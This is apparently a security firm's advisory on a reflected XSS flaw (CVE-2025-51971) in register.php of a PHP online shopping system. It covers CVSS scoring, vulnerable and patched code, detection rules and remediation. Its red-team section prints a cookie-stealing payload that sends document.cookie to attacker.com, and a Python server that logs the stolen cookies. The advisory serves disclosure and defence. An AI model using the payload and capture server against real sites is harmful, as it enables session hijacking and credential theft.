CVE-2025-51971

Executive Summary

CVE-2025-51971 is a reflected Cross-Site Scripting (XSS) vulnerability in the PuneethReddyHC Online Shopping System Advanced 1.0. The flaw exists in register.php, where the f_name parameter is reflected in the server response without proper sanitization or output encoding. An attacker can craft a malicious URL containing JavaScript payloads, and when a victim clicks the link, the script executes in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.1 (Medium) and is currently unpatched. No public exploit code or Nuclei template is available, but the attack vector is straightforward.

Supply Chain & Package Security

This is a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications exist.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. Exploitation requires user interaction (clicking a link), but the impact includes session hijacking and data theft.

Deep Dive & Mechanics

The vulnerability resides in register.php. The f_name parameter is taken directly from the HTTP GET request and echoed back into the HTML response without any sanitization or encoding. For example, the vulnerable code might look like:

<input type="text" name="f_name" value="<?php echo $_GET['f_name']; ?>">

An attacker can inject a payload such as:

http://target/register.php?f_name=<script>alert('XSS')</script>

When the victim visits this URL, the script executes in their browser. The attack is reflected (non-persistent) and requires the victim to click the crafted link.

Vulnerable vs. Patched Code

Vulnerable Code (register.php):

<?php
$f_name = $_GET['f_name'];
echo "<input type='text' name='f_name' value='$f_name'>";
?>

Patched Code (using htmlspecialchars):

<?php
$f_name = htmlspecialchars($_GET['f_name'], ENT_QUOTES, 'UTF-8');
echo "<input type='text' name='f_name' value='$f_name'>";
?>

The patched version encodes special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy the vulnerable application locally (e.g., XAMPP with PuneethReddyHC Online Shopping System Advanced 1.0).
2. Craft Payload: Use a simple JavaScript payload to steal cookies:

   http://localhost/register.php?f_name=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
   

3. Deliver: Send the link via email or social engineering.
4. Capture: On the attacker server, log the cookie.

Example Python script to capture cookies:

from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        with open("cookies.txt", "a") as f:
            f.write(self.path + "\n")
        self.send_response(200)
        self.end_headers()

HTTPServer(("0.0.0.0", 80), Handler).serve_forever()

Blue Team (Defense & Detection)

• Input Validation: Sanitize all user inputs using htmlspecialchars() or a similar function.
• Content Security Policy (CSP): Implement a strict CSP header to block inline scripts.
• Web Application Firewall (WAF): Deploy a WAF rule to block common XSS patterns (e.g., <script> tags).
• User Education: Train users not to click suspicious links.

Indicators of Compromise (IOCs)

• URL Pattern: register.php?f_name=<script>...
• Network Traffic: HTTP requests to register.php with f_name parameter containing <script> or onerror= etc.
• Log Entries: Web server logs showing GET /register.php?f_name=<script>alert(1)</script>.
• Cookie Theft: Outbound connections to attacker-controlled domains with cookie data in the URL.

Detection Engineering

YARA Rule

rule CVE_2025_51971_XSS {
    meta:
        description = "Detects reflected XSS in register.php f_name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-51971"
    strings:
        $xss_payload = /f_name=.*<script[^>]*>.*<\/script>/i
        $xss_onerror = /f_name=.*onerror\s*=/i
        $xss_onload = /f_name=.*onload\s*=/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS in PuneethReddyHC Online Shopping System
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects reflected XSS attempts against register.php f_name parameter
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'register.php?f_name='
        cs-uri-query|re: '(<script|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51971 Reflected XSS in register.php"; flow:to_server,established; content:"GET"; http_method; content:"register.php"; http_uri; content:"f_name="; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply input sanitization using htmlspecialchars() or filter_input() on the f_name parameter.
2. Short-term: Implement a Content Security Policy (CSP) header to block inline scripts.
3. Long-term: Upgrade to a patched version of the application if available, or migrate to a supported e-commerce platform.
4. Compensating Controls: Use a Web Application Firewall (WAF) with rules to block XSS payloads.

Valters IT
Securing Digital Frontiers